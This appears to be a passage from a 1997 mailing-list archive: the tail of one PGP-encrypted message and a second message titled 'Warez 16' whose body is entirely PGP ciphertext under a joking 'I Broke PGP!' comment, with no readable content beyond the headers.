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
r3WndM0Ex2HwJ07bIwhzWvUYRd0Wk+aeyU1e
=IID5
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:40:05 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:40:05 +0800
Subject: Warez 16
Message-ID: <199712180833.AAA16149@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
